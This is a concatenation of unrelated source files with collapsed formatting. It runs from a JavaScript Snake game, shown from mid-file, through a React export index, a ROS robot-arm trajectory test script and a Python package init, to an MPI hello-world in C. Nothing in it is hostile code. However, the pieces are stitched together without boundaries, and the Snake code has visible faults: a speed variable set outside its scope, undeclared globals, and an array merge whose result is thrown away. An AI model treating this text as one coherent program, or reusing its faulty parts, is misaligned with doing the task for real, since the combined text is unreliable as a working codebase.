------------------------------------------------------------------------- var instanceNumber = 0; var blockPool = []; var SnakeBlock = function() { this.elm = null; this.elmStyle = null; this.row = -1; this.col = -1; this.xPos = -1000; this.yPos = -1000; this.next = null; this.prev = null; }; // this function is adapted from the example at http://greengeckodesign.com/blog/2007/07/get-highest-z-index-in-javascript.html function getNextHighestZIndex(myObj) { var highestIndex = 0, currentIndex = 0, ii; for (ii in myObj) { if (myObj[ii].elm.currentStyle){ currentIndex = parseFloat(myObj[ii].elm.style["z-index"],10); }else if(window.getComputedStyle) { currentIndex = parseFloat(document.defaultView.getComputedStyle(myObj[ii].elm,null).getPropertyValue("z-index"),10); } if(!isNaN(currentIndex) && currentIndex > highestIndex){ highestIndex = currentIndex; } } return(highestIndex+1); } // ------------------------------------------------------------------------- // Contructor + public and private definitions // ------------------------------------------------------------------------- /* config options: playingBoard - the SnakeBoard that this snake belongs too. startRow - The row the snake should start on. startCol - The column the snake should start on. */ return function(config) { if (!config||!config.playingBoard) {return;} // ----- private variables ----- var me = this, playingBoard = config.playingBoard, myId = instanceNumber++, growthIncr = 1, moveQueue = [], // a queue that holds the next moves of the snake currentDirection = 1, // 0: up, 1: left, 2: down, 3: right columnShift = [0, 1, 0, -1], rowShift = [-1, 0, 1, 0], xPosShift = [], yPosShift = [], snakeSpeed = 110, isDead = false, isPaused = false; function getMode (mode, speed) { document.getElementById(mode).addEventListener('click', function () { snakeSpeed = speed; }); } getMode('Easy', 110); getMode('Medium', 100); getMode('Difficult', 90); // ----- public variables ----- me.snakeBody = {}; me.snakeBody["b0"] = new SnakeBlock(); // create snake head me.snakeBody["b0"].row = config.startRow || 1; me.snakeBody["b0"].col = config.startCol || 1; me.snakeBody["b0"].xPos = me.snakeBody["b0"].row * playingBoard.getBlockWidth(); me.snakeBody["b0"].yPos = me.snakeBody["b0"].col * playingBoard.getBlockHeight(); me.snakeBody["b0"].elm = createSnakeElement(); me.snakeBody["b0"].elmStyle = me.snakeBody["b0"].elm.style; playingBoard.getBoardContainer().appendChild( me.snakeBody["b0"].elm ); me.snakeBody["b0"].elm.style.left = me.snakeBody["b0"].xPos + "px"; me.snakeBody["b0"].elm.style.top = me.snakeBody["b0"].yPos + "px"; me.snakeBody["b0"].next = me.snakeBody["b0"]; me.snakeBody["b0"].prev = me.snakeBody["b0"]; me.snakeLength = 1; me.snakeHead = me.snakeBody["b0"]; me.snakeTail = me.snakeBody["b0"]; me.snakeHead.elm.className = me.snakeHead.elm.className.replace(/\bsnake-snakebody-dead\b/,''); me.snakeHead.elm.className += " snake-snakebody-alive"; // ----- private methods ----- function createSnakeElement() { var tempNode = document.createElement("div"); tempNode.className = "snake-snakebody-block"; tempNode.style.left = "-1000px"; tempNode.style.top = "-1000px"; tempNode.style.width = playingBoard.getBlockWidth() + "px"; tempNode.style.height = playingBoard.getBlockHeight() + "px"; return tempNode; } function createBlocks(num) { var tempBlock; var tempNode = createSnakeElement(); for (var ii = 1; ii < num; ii++){ tempBlock = new SnakeBlock(); tempBlock.elm = tempNode.cloneNode(true); tempBlock.elmStyle = tempBlock.elm.style; playingBoard.getBoardContainer().appendChild( tempBlock.elm ); blockPool[blockPool.length] = tempBlock; } tempBlock = new SnakeBlock(); tempBlock.elm = tempNode; playingBoard.getBoardContainer().appendChild( tempBlock.elm ); blockPool[blockPool.length] = tempBlock; } // ----- public methods ----- me.setPaused = function(val) { isPaused = val; }; me.getPaused = function() { return isPaused; }; /** * This method is called when a user presses a key. It logs arrow key presses in "moveQueue", which is used when the snake needs to make its next move. * @method handleArrowKeys * @param {Number} keyNum A number representing the key that was pressed. */ /* Handles what happens when an arrow key is pressed. Direction explained (0 = up, etc etc) 0 3 1 2 */ me.handleArrowKeys = function(keyNum) { if (isDead || isPaused) {return;} var snakeLength = me.snakeLength; var lastMove = moveQueue[0] || currentDirection; //console.log("lastmove="+lastMove); //console.log("dir="+keyNum); switch (keyNum) { case 37: case 65: if ( lastMove !== 1 || snakeLength === 1 ) { moveQueue.unshift(3); //SnakeDirection = 3; } break; case 38: case 87: if ( lastMove !== 2 || snakeLength === 1 ) { moveQueue.unshift(0);//SnakeDirection = 0; } break; case 39: case 68: if ( lastMove !== 3 || snakeLength === 1 ) { moveQueue.unshift(1); //SnakeDirection = 1; } break; case 40: case 83: if ( lastMove !== 0 || snakeLength === 1 ) { moveQueue.unshift(2);//SnakeDirection = 2; } break; } }; /** * This method is executed for each move of the snake. It determines where the snake will go and what will happen to it. This method needs to run quickly. * @method go */ me.go = function() { var oldHead = me.snakeHead, newHead = me.snakeTail, myDirection = currentDirection, grid = playingBoard.grid; // cache grid for quicker lookup if (isPaused === true) { setTimeout(function(){me.go();}, snakeSpeed); return; } me.snakeTail = newHead.prev; me.snakeHead = newHead; // clear the old board position if ( grid[newHead.row] && grid[newHead.row][newHead.col] ) { grid[newHead.row][newHead.col] = 0; } if (moveQueue.length){ myDirection = currentDirection = moveQueue.pop(); } newHead.col = oldHead.col + columnShift[myDirection]; newHead.row = oldHead.row + rowShift[myDirection]; newHead.xPos = oldHead.xPos + xPosShift[myDirection]; newHead.yPos = oldHead.yPos + yPosShift[myDirection]; if ( !newHead.elmStyle ) { newHead.elmStyle = newHead.elm.style; } newHead.elmStyle.left = newHead.xPos + "px"; newHead.elmStyle.top = newHead.yPos + "px"; // check the new spot the snake moved into if (grid[newHead.row][newHead.col] === 0) { grid[newHead.row][newHead.col] = 1; setTimeout(function(){me.go();}, snakeSpeed); } else if (grid[newHead.row][newHead.col] > 0) { me.handleDeath(); } else if (grid[newHead.row][newHead.col] === playingBoard.getGridFoodValue()) { grid[newHead.row][newHead.col] = 1; me.eatFood(); setTimeout(function(){me.go();}, snakeSpeed); } }; /** * This method is called when it is determined that the snake has eaten some food. * @method eatFood */ me.eatFood = function() { if (blockPool.length <= growthIncr) { createBlocks(growthIncr*2); } var blocks = blockPool.splice(0, growthIncr); var ii = blocks.length, index, prevNode = me.snakeTail; while (ii--) { index = "b" + me.snakeLength++; me.snakeBody[index] = blocks[ii]; me.snakeBody[index].prev = prevNode; me.snakeBody[index].elm.className = me.snakeHead.elm.className.replace(/\bsnake-snakebody-dead\b/,'') me.snakeBody[index].elm.className += " snake-snakebody-alive"; prevNode.next = me.snakeBody[index]; prevNode = me.snakeBody[index]; } me.snakeTail = me.snakeBody[index]; me.snakeTail.next = me.snakeHead; me.snakeHead.prev = me.snakeTail; playingBoard.foodEaten(); }; /** * This method handles what happens when the snake dies. * @method handleDeath */ me.handleDeath = function() { function recordScore () { var highScore = localStorage.jsSnakeHighScore; if (highScore == undefined) localStorage.setItem('jsSnakeHighScore', me.snakeLength); if (me.snakeLength > highScore) { alert('Congratulations! You have beaten your previous high score, which was ' + highScore + '.'); localStorage.setItem('jsSnakeHighScore', me.snakeLength); } } recordScore(); me.snakeHead.elm.style.zIndex = getNextHighestZIndex(me.snakeBody); me.snakeHead.elm.className = me.snakeHead.elm.className.replace(/\bsnake-snakebody-alive\b/,'') me.snakeHead.elm.className += " snake-snakebody-dead"; isDead = true; playingBoard.handleDeath(); moveQueue.length = 0; }; /** * This method sets a flag that lets the snake be alive again. * @method rebirth */ me.rebirth = function() { isDead = false; }; /** * This method reset the snake so it is ready for a new game. * @method reset */ me.reset = function() { if (isDead === false) {return;} var blocks = [], curNode = me.snakeHead.next, nextNode; while (curNode !== me.snakeHead) { nextNode = curNode.next; curNode.prev = null; curNode.next = null; blocks.push(curNode); curNode = nextNode; } me.snakeHead.next = me.snakeHead; me.snakeHead.prev = me.snakeHead; me.snakeTail = me.snakeHead; me.snakeLength = 1; for (var ii = 0; ii < blocks.length; ii++) { blocks[ii].elm.style.left = "-1000px"; blocks[ii].elm.style.top = "-1000px"; blocks[ii].elm.className = me.snakeHead.elm.className.replace(/\bsnake-snakebody-dead\b/,'') blocks[ii].elm.className += " snake-snakebody-alive"; } blockPool.concat(blocks); me.snakeHead.elm.className = me.snakeHead.elm.className.replace(/\bsnake-snakebody-dead\b/,'') me.snakeHead.elm.className += " snake-snakebody-alive"; me.snakeHead.row = config.startRow || 1; me.snakeHead.col = config.startCol || 1; me.snakeHead.xPos = me.snakeHead.row * playingBoard.getBlockWidth(); me.snakeHead.yPos = me.snakeHead.col * playingBoard.getBlockHeight(); me.snakeHead.elm.style.left = me.snakeHead.xPos + "px"; me.snakeHead.elm.style.top = me.snakeHead.yPos + "px"; }; // --------------------------------------------------------------------- // Initialize // --------------------------------------------------------------------- createBlocks(growthIncr*2); xPosShift[0] = 0; xPosShift[1] = playingBoard.getBlockWidth(); xPosShift[2] = 0; xPosShift[3] = -1 * playingBoard.getBlockWidth(); yPosShift[0] = -1 * playingBoard.getBlockHeight(); yPosShift[1] = 0; yPosShift[2] = playingBoard.getBlockHeight(); yPosShift[3] = 0; }; })(); /** * This class manages the food which the snake will eat. * @class Food * @constructor * @namespace SNAKE * @param {Object} config The configuration object for the class. Contains playingBoard (the SNAKE.Board that this food resides in). */ SNAKE.Food = SNAKE.Food || (function() { // ------------------------------------------------------------------------- // Private static variables and methods // ------------------------------------------------------------------------- var instanceNumber = 0; function getRandomPosition(x, y){ return Math.floor(Math.random()*(y+1-x)) + x; } // ------------------------------------------------------------------------- // Contructor + public and private definitions // ------------------------------------------------------------------------- /* config options: playingBoard - the SnakeBoard that this object belongs too. */ return function(config) { if (!config||!config.playingBoard) {return;} // ----- private variables ----- var me = this; var playingBoard = config.playingBoard; var fRow, fColumn; var myId = instanceNumber++; var elmFood = document.createElement("div"); elmFood.setAttribute("id", "snake-food-"+myId); elmFood.className = "snake-food-block"; elmFood.style.width = playingBoard.getBlockWidth() + "px"; elmFood.style.height = playingBoard.getBlockHeight() + "px"; elmFood.style.left = "-1000px"; elmFood.style.top = "-1000px"; playingBoard.getBoardContainer().appendChild(elmFood); // ----- public methods ----- /** * @method getFoodElement * @return {DOM Element} The div the represents the food. */ me.getFoodElement = function() { return elmFood; }; /** * Randomly places the food onto an available location on the playing board. * @method randomlyPlaceFood */ me.randomlyPlaceFood = function() { // if there exist some food, clear its presence from the board if (playingBoard.grid[fRow] && playingBoard.grid[fRow][fColumn] === playingBoard.getGridFoodValue()){ playingBoard.grid[fRow][fColumn] = 0; } var row = 0, col = 0, numTries = 0; var maxRows = playingBoard.grid.length-1; var maxCols = playingBoard.grid[0].length-1; while (playingBoard.grid[row][col] !== 0){ row = getRandomPosition(1, maxRows); col = getRandomPosition(1, maxCols); // in some cases there may not be any room to put food anywhere // instead of freezing, exit out numTries++; if (numTries > 20000){ row = -1; col = -1; break; } } playingBoard.grid[row][col] = playingBoard.getGridFoodValue(); fRow = row; fColumn = col; elmFood.style.top = row * playingBoard.getBlockHeight() + "px"; elmFood.style.left = col * playingBoard.getBlockWidth() + "px"; }; }; })(); /** * This class manages playing board for the game. * @class Board * @constructor * @namespace SNAKE * @param {Object} config The configuration object for the class. Set fullScreen equal to true if you want the game to take up the full screen, otherwise, set the top, left, width and height parameters. */ SNAKE.Board = SNAKE.Board || (function() { // ------------------------------------------------------------------------- // Private static variables and methods // ------------------------------------------------------------------------- var instanceNumber = 0; // this function is adapted from the example at http://greengeckodesign.com/blog/2007/07/get-highest-z-index-in-javascript.html function getNextHighestZIndex(myObj) { var highestIndex = 0, currentIndex = 0, ii; for (ii in myObj) { if (myObj[ii].elm.currentStyle){ currentIndex = parseFloat(myObj[ii].elm.style["z-index"],10); }else if(window.getComputedStyle) { currentIndex = parseFloat(document.defaultView.getComputedStyle(myObj[ii].elm,null).getPropertyValue("z-index"),10); } if(!isNaN(currentIndex) && currentIndex > highestIndex){ highestIndex = currentIndex; } } return(highestIndex+1); } /* This function returns the width of the available screen real estate that we have */ function getClientWidth(){ var myWidth = 0; if( typeof window.innerWidth === "number" ) { myWidth = window.innerWidth;//Non-IE } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) { myWidth = document.documentElement.clientWidth;//IE 6+ in 'standards compliant mode' } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) { myWidth = document.body.clientWidth;//IE 4 compatible } return myWidth; } /* This function returns the height of the available screen real estate that we have */ function getClientHeight(){ var myHeight = 0; if( typeof window.innerHeight === "number" ) { myHeight = window.innerHeight;//Non-IE } else if( document.documentElement && ( document.documentElement.clientWidth || document.documentElement.clientHeight ) ) { myHeight = document.documentElement.clientHeight;//IE 6+ in 'standards compliant mode' } else if( document.body && ( document.body.clientWidth || document.body.clientHeight ) ) { myHeight = document.body.clientHeight;//IE 4 compatible } return myHeight; } // ------------------------------------------------------------------------- // Contructor + public and private definitions // ------------------------------------------------------------------------- return function(inputConfig) { // --- private variables --- var me = this, myId = instanceNumber++, config = inputConfig || {}, MAX_BOARD_COLS = 250, MAX_BOARD_ROWS = 250, blockWidth = 20, blockHeight = 20, GRID_FOOD_VALUE = -1, // the value of a spot on the board that represents snake food, MUST BE NEGATIVE myFood, mySnake, boardState = 1, // 0: in active; 1: awaiting game start; 2: playing game myKeyListener, isPaused = false,//note: both the board and the snake can be paused // Board components elmContainer, elmPlayingField, elmAboutPanel, elmLengthPanel, elmWelcome, elmTryAgain, elmPauseScreen; // --- public variables --- me.grid = []; // --------------------------------------------------------------------- // private functions // --------------------------------------------------------------------- function createBoardElements() { elmPlayingField = document.createElement("div"); elmPlayingField.setAttribute("id", "playingField"); elmPlayingField.className = "snake-playing-field"; SNAKE.addEventListener(elmPlayingField, "click", function() { elmContainer.focus(); }, false); elmPauseScreen = document.createElement("div"); elmPauseScreen.className = "snake-pause-screen"; elmPauseScreen.innerHTML = "<div style='padding:10px;'>[Paused]<p/>Press [space] to unpause.</div>"; elmAboutPanel = document.createElement("div"); elmAboutPanel.className = "snake-panel-component"; elmLengthPanel = document.createElement("div"); elmLengthPanel.className = "snake-panel-component"; elmLengthPanel.innerHTML = "Length: 1"; elmWelcome = createWelcomeElement(); elmTryAgain = createTryAgainElement(); SNAKE.addEventListener( elmContainer, "keyup", function(evt) { if (!evt) var evt = window.event; evt.cancelBubble = true; if (evt.stopPropagation) {evt.stopPropagation();} if (evt.preventDefault) {evt.preventDefault();} return false; }, false); elmContainer.className = "snake-game-container"; elmPauseScreen.style.zIndex = 10000; elmContainer.appendChild(elmPauseScreen); elmContainer.appendChild(elmPlayingField); elmContainer.appendChild(elmAboutPanel); elmContainer.appendChild(elmLengthPanel); elmContainer.appendChild(elmWelcome); elmContainer.appendChild(elmTryAgain); mySnake = new SNAKE.Snake({playingBoard:me,startRow:2,startCol:2}); myFood = new SNAKE.Food({playingBoard: me}); elmWelcome.style.zIndex = 1000; } function maxBoardWidth() { return MAX_BOARD_COLS * me.getBlockWidth(); } function maxBoardHeight() { return MAX_BOARD_ROWS * me.getBlockHeight(); } function createWelcomeElement() { var tmpElm = document.createElement("div"); tmpElm.id = "sbWelcome" + myId; tmpElm.className = "snake-welcome-dialog"; var welcomeTxt = document.createElement("div"); var fullScreenText = ""; if (config.fullScreen) { fullScreenText = "On Windows, press F11 to play in Full Screen mode."; } welcomeTxt.innerHTML = "JavaScript Snake<p></p>Use the <strong>arrow keys</strong> on your keyboard to play the game. " + fullScreenText + "<p></p>"; var welcomeStart = document.createElement("button"); welcomeStart.appendChild(document.createTextNode("Play Game")); var loadGame = function() { SNAKE.removeEventListener(window, "keyup", kbShortcut, false); tmpElm.style.display = "none"; me.setBoardState(1); me.getBoardContainer().focus(); }; var kbShortcut = function(evt) { if (!evt) var evt = window.event; var keyNum = (evt.which) ? evt.which : evt.keyCode; if (keyNum === 32 || keyNum === 13) { loadGame(); } }; SNAKE.addEventListener(window, "keyup", kbShortcut, false); SNAKE.addEventListener(welcomeStart, "click", loadGame, false); tmpElm.appendChild(welcomeTxt); tmpElm.appendChild(welcomeStart); return tmpElm; } function createTryAgainElement() { var tmpElm = document.createElement("div"); tmpElm.id = "sbTryAgain" + myId; tmpElm.className = "snake-try-again-dialog"; var tryAgainTxt = document.createElement("div"); tryAgainTxt.innerHTML = "JavaScript Snake<p></p>You died :(.<p></p>"; var tryAgainStart = document.createElement("button"); tryAgainStart.appendChild( document.createTextNode("Play Again?")); var reloadGame = function() { tmpElm.style.display = "none"; me.resetBoard(); me.setBoardState(1); me.getBoardContainer().focus(); }; var kbTryAgainShortcut = function(evt) { if (boardState !== 0 || tmpElm.style.display !== "block") {return;} if (!evt) var evt = window.event; var keyNum = (evt.which) ? evt.which : evt.keyCode; if (keyNum === 32 || keyNum === 13) { reloadGame(); } }; SNAKE.addEventListener(window, "keyup", kbTryAgainShortcut, true); SNAKE.addEventListener(tryAgainStart, "click", reloadGame, false); tmpElm.appendChild(tryAgainTxt); tmpElm.appendChild(tryAgainStart); return tmpElm; } // --------------------------------------------------------------------- // public functions // --------------------------------------------------------------------- me.setPaused = function(val) { isPaused = val; mySnake.setPaused(val); if (isPaused) { elmPauseScreen.style.display = "block"; } else { elmPauseScreen.style.display = "none"; } }; me.getPaused = function() { return isPaused; }; /** * Resets the playing board for a new game. * @method resetBoard */ me.resetBoard = function() { SNAKE.removeEventListener(elmContainer, "keydown", myKeyListener, false); mySnake.reset(); elmLengthPanel.innerHTML = "Length: 1"; me.setupPlayingField(); }; /** * Gets the current state of the playing board. There are 3 states: 0 - Welcome or Try Again dialog is present. 1 - User has pressed "Start Game" on the Welcome or Try Again dialog but has not pressed an arrow key to move the snake. 2 - The game is in progress and the snake is moving. * @method getBoardState * @return {Number} The state of the board. */ me.getBoardState = function() { return boardState; }; /** * Sets the current state of the playing board. There are 3 states: 0 - Welcome or Try Again dialog is present. 1 - User has pressed "Start Game" on the Welcome or Try Again dialog but has not pressed an arrow key to move the snake. 2 - The game is in progress and the snake is moving. * @method setBoardState * @param {Number} state The state of the board. */ me.setBoardState = function(state) { boardState = state; }; /** * @method getGridFoodValue * @return {Number} A number that represents food on a number representation of the playing board. */ me.getGridFoodValue = function() { return GRID_FOOD_VALUE; }; /** * @method getPlayingFieldElement * @return {DOM Element} The div representing the playing field (this is where the snake can move). */ me.getPlayingFieldElement = function() { return elmPlayingField; }; /** * @method setBoardContainer * @param {DOM Element or String} myContainer Sets the container element for the game. */ me.setBoardContainer = function(myContainer) { if (typeof myContainer === "string") { myContainer = document.getElementById(myContainer); } if (myContainer === elmContainer) {return;} elmContainer = myContainer; elmPlayingField = null; me.setupPlayingField(); }; /** * @method getBoardContainer * @return {DOM Element} */ me.getBoardContainer = function() { return elmContainer; }; /** * @method getBlockWidth * @return {Number} */ me.getBlockWidth = function() { return blockWidth; }; /** * @method getBlockHeight * @return {Number} */ me.getBlockHeight = function() { return blockHeight; }; /** * Sets up the playing field. * @method setupPlayingField */ me.setupPlayingField = function () { if (!elmPlayingField) {createBoardElements();} // create playing field // calculate width of our game container var cWidth, cHeight; if (config.fullScreen === true) { cTop = 0; cLeft = 0; cWidth = getClientWidth()-5; cHeight = getClientHeight()-5; document.body.style.backgroundColor = "#FC5454"; } else { cTop = config.top; cLeft = config.left; cWidth = config.width; cHeight = config.height; } // define the dimensions of the board and playing field var wEdgeSpace = me.getBlockWidth()*2 + (cWidth % me.getBlockWidth()); var fWidth = Math.min(maxBoardWidth()-wEdgeSpace,cWidth-wEdgeSpace); var hEdgeSpace = me.getBlockHeight()*3 + (cHeight % me.getBlockHeight()); var fHeight = Math.min(maxBoardHeight()-hEdgeSpace,cHeight-hEdgeSpace); elmContainer.style.left = cLeft + "px"; elmContainer.style.top = cTop + "px"; elmContainer.style.width = cWidth + "px"; elmContainer.style.height = cHeight + "px"; elmPlayingField.style.left = me.getBlockWidth() + "px"; elmPlayingField.style.top = me.getBlockHeight() + "px"; elmPlayingField.style.width = fWidth + "px"; elmPlayingField.style.height = fHeight + "px"; // the math for this will need to change depending on font size, padding, etc // assuming height of 14 (font size) + 8 (padding) var bottomPanelHeight = hEdgeSpace - me.getBlockHeight(); var pLabelTop = me.getBlockHeight() + fHeight + Math.round((bottomPanelHeight - 30)/2) + "px"; elmAboutPanel.style.top = pLabelTop; elmAboutPanel.style.width = "450px"; elmAboutPanel.style.left = Math.round(cWidth/2) - Math.round(450/2) + "px"; elmLengthPanel.style.top = pLabelTop; elmLengthPanel.style.left = cWidth - 120 + "px"; // if width is too narrow, hide the about panel if (cWidth < 700) { elmAboutPanel.style.display = "none"; } else { elmAboutPanel.style.display = "block"; } me.grid = []; var numBoardCols = fWidth / me.getBlockWidth() + 2; var numBoardRows = fHeight / me.getBlockHeight() + 2; for (var row = 0; row < numBoardRows; row++) { me.grid[row] = []; for (var col = 0; col < numBoardCols; col++) { if (col === 0 || row === 0 || col === (numBoardCols-1) || row === (numBoardRows-1)) { me.grid[row][col] = 1; // an edge } else { me.grid[row][col] = 0; // empty space } } } myFood.randomlyPlaceFood(); // setup event listeners function getMode (mode, speed) { document.getElementById(mode).addEventListener('click', function () { snakeSpeed = speed; }); } getMode('Easy', 100); getMode('Medium', 75); getMode('Difficult', 50); myKeyListener = function(evt) { if (!evt) var evt = window.event; var keyNum = (evt.which) ? evt.which : evt.keyCode; if (me.getBoardState() === 1) { if ( !(keyNum >= 37 && keyNum <= 40) && !(keyNum === 87 || keyNum === 65 || keyNum === 83 || keyNum === 68)) {return;} // if not an arrow key, leave // This removes the listener added at the #listenerX line SNAKE.removeEventListener(elmContainer, "keydown", myKeyListener, false); myKeyListener = function(evt) { if (!evt) var evt = window.event; var keyNum = (evt.which) ? evt.which : evt.keyCode; //console.log(keyNum); if (keyNum === 32) { if(me.getBoardState()!=0) me.setPaused(!me.getPaused()); } mySnake.handleArrowKeys(keyNum); evt.cancelBubble = true; if (evt.stopPropagation) {evt.stopPropagation();} if (evt.preventDefault) {evt.preventDefault();} return false; }; SNAKE.addEventListener( elmContainer, "keydown", myKeyListener, false); mySnake.rebirth(); mySnake.handleArrowKeys(keyNum); me.setBoardState(2); // start the game! mySnake.go(); } evt.cancelBubble = true; if (evt.stopPropagation) {evt.stopPropagation();} if (evt.preventDefault) {evt.preventDefault();} return false; }; // Search for #listenerX to see where this is removed SNAKE.addEventListener( elmContainer, "keydown", myKeyListener, false); }; /** * This method is called when the snake has eaten some food. * @method foodEaten */ me.foodEaten = function() { elmLengthPanel.innerHTML = "Length: " + mySnake.snakeLength; myFood.randomlyPlaceFood(); }; /** * This method is called when the snake dies. * @method handleDeath */ me.handleDeath = function() { var index = Math.max(getNextHighestZIndex( mySnake.snakeBody), getNextHighestZIndex( {tmp:{elm:myFood.getFoodElement()}} )); elmContainer.removeChild(elmTryAgain); elmContainer.appendChild(elmTryAgain); elmTryAgain.style.zIndex = index; elmTryAgain.style.display = "block"; me.setBoardState(0); }; // --------------------------------------------------------------------- // Initialize // --------------------------------------------------------------------- config.fullScreen = (typeof config.fullScreen === "undefined") ? false : config.fullScreen; config.top = (typeof config.top === "undefined") ? 0 : config.top; config.left = (typeof config.left === "undefined") ? 0 : config.left; config.width = (typeof config.width === "undefined") ? 400 : config.width; config.height = (typeof config.height === "undefined") ? 400 : config.height; if (config.fullScreen) { SNAKE.addEventListener(window,"resize", function() { me.setupPlayingField(); }, false); } me.setBoardState(0); if (config.boardContainer) { me.setBoardContainer(config.boardContainer); } }; // end return function })(); function getHighScore () { document.getElementById('high-score').addEventListener('click', function () { if (localStorage.jsSnakeHighScore == undefined) alert('You have not played this game yet!'); else alert('Your current high score is ' + localStorage.jsSnakeHighScore + '.'); }); } getHighScore();
export { default as Home } from "./Home/Home"; export { default as Login } from "./Login"; export { default as Register } from "./Register"; export { default as NotFound } from "./NotFound";
#!/usr/bin/env python import rospy from predicator_msgs.msg import PredicateStatement from predicator_planning.srv import * from trajectory_msgs.msg import JointTrajectory from moveit_msgs.msg import * from control_msgs.msg import * import actionlib rospy.init_node('test_predicate_planning_node') planner = rospy.ServiceProxy('predicator/plan', PredicatePlan) pub = rospy.Publisher('gazebo/traj_rml/joint_traj_cmd', JointTrajectory) display_pub = rospy.Publisher('predicator/display_plan', DisplayTrajectory) others = ['wam2', 'peg1', 'peg2', 'ring1', 'stage'] req = PredicatePlanRequest() req.group = 'arm' req.robot = 'wam' for obj in others: req.required_false.append(PredicateStatement(predicate="touching",params=['wam',obj,''],num_params=3)) req.goal_false.append(PredicateStatement(predicate="touching",params=['wam',obj,''],num_params=3)) req.required_true.append(PredicateStatement(predicate="near_xy",params=['wam/wrist_palm_link','peg1/peg_top_link',''])) req.goal_true.append(PredicateStatement(predicate="above",params=['wam/wrist_palm_link','peg1/peg_top_link','world'])) req.goal_true.append(PredicateStatement(predicate="near_xy",params=['wam/wrist_palm_link','peg1/peg_top_link',''])) #req.goal_true.append(PredicateStatement(predicate="in_front_of",params=['wam/wrist_palm_link','peg1/peg_top_link','world'])) req.goal_true.append(PredicateStatement(predicate="behind",params=['wam/wrist_palm_link','peg1/peg_top_link','world'])) #req.goal_true.append(PredicateStatement(predicate="left_of",params=['wam/wrist_palm_link','peg1/peg_top_link','world'])) #req.goal_false.append(PredicateStatement(predicate="near",params=['wam/wrist_palm_link','peg1/peg_top_link',''])) res = planner(req) print res disp = DisplayTrajectory() traj = RobotTrajectory() traj.joint_trajectory = res.path disp.trajectory_start.is_diff = True disp.trajectory.append(traj) #pub.publish(res.path) display_pub.publish(disp) client = actionlib.SimpleActionClient('/gazebo/traj_rml/action', control_msgs.msg.FollowJointTrajectoryAction) goal = FollowJointTrajectoryGoal() next_t = 0 for point in res.path.points: point.time_from_start.secs = next_t next_t = next_t + 2 print res.path goal.trajectory = res.path rospy.loginfo("Sending trajectory to trajectory action...") client.wait_for_server() client.send_goal(goal) rospy.loginfo("Waiting...") client.wait_for_result() rospy.loginfo("Trajectory action finished.") res = client.get_result() print res rospy.spin()
# ############## # metadata # # ############## __author__ = "Sigmmma" # YYYY.MM.DD __date__ = "2020.10.30" __version__ = (1, 1, 2) from arbytmap import constants from arbytmap.arby import * from arbytmap import bitmap_io, constants, dds_defs, ext,\ format_defs, swizzler __all__ = ("bitmap_io", "constants", "dds_defs", "ext", "format_defs", "swizzler")
/******************************************************************************* * Copyright 2019 UChicago Argonne, LLC. * (c.f. AUTHORS, LICENSE) * * This file is part of the nrm-extra project. * For more info, see https://github.com/anlsys/nrm-extra * * SPDX-License-Identifier: BSD-3-Clause *******************************************************************************/ #include <mpi.h> #include <stdio.h> int main(int argc, char **argv) { int size, rank; MPI_Init(&argc, &argv); MPI_Comm_size(MPI_COMM_WORLD, &size); MPI_Comm_rank(MPI_COMM_WORLD, &rank); fprintf(stdout, "Hello, I'm %u of %u\n", rank, size); MPI_Finalize(); return 0; }